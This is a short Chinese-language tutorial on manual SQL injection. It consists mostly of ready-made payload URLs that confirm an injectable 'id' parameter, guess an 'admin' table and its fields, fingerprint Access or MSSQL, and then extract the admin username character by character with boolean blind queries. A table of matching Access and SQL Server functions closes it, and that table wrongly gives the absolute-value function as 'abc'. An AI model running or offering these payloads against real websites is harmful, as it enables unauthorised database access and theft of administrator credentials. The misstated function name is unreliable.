手工檢測可否注入

文章作者:yjd

□ 檢測可否注入
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http://url/xx?id=1111 and 1=1 (正常頁面)
http://url/xx?id=1111 and 1=2 (出錯頁面)

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□ 檢測表段的
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http://url/xx?id=1111 and exists (select * from admin)

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□ 檢測字段的
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http://url/xx?id=1111 and exists (select username from admin)

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□ 檢測ID
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http://url/xx?id=1111 and exists (select id from admin where ID=1)

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□ 檢測長度的
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http://url/xx?id=1111 and exists (select id from admin where len(username)=5 and ID=1)

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□ 檢測長度的
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http://url/xx?id=1111 and exists (select id from admin where len(username)=5 and ID=1)

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□ 檢測是否爲MSSQL數據庫
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http://url/xx?id=1111 and exists (select * from sysobjects)

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□ 檢測是否爲英文
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(ACCESS數據庫)
http://url/xx?id=1111 and exists (select id from admin where asc(mid(username,1,1)) between 30 and 130 and ID=1)

(MSSQL數據庫)
http://url/xx?id=1111 and exists (select id from admin where unicode(substring(username,1,1)) between 30 and 130 and ID=1)


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□ 檢測英文的範圍
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(ACCESS數據庫)
http://url/xx?id=1111 and exists (select id from admin where asc(mid(username,1,1)) between 90 and 100 and ID=1)

(MSSQL數據庫)
http://url/xx?id=1111 and exists (select id from admin where unicode(substring(username,1,1)) between 90 and 100 and ID=1)

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□ 檢測那個字符
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(ACCESS數據庫)
http://url/xx?id=1111 and exists (select id from admin where asc(mid(username,1,1))=97 and ID=1)

(MSSQL數據庫)
http://url/xx?id=1111 and exists (select id from admin where unicode(substring(username,1,1))=97 and ID=1)



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常用函數
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Access：asc(字符)　SQLServer：unicode(字符)
作用：返回某字符的ASCII碼

Access：chr(數字)　SQLServer：nchar(數字)
作用：與asc相反，根據ASCII碼返回字符

Access：mid(字符串,N,L)　SQLServer：substring(字符串,N,L)
作用：返回字符串從N個字符起長度爲L的子字符串，即N到N+L之間的字符串

Access：abc(數字)　SQLServer：abc (數字)
作用：返回數字的絕對值（在猜解漢字的時候會用到）

Access：A between B And C　SQLServer：A between B And C
作用：判斷A是否界於B與C之間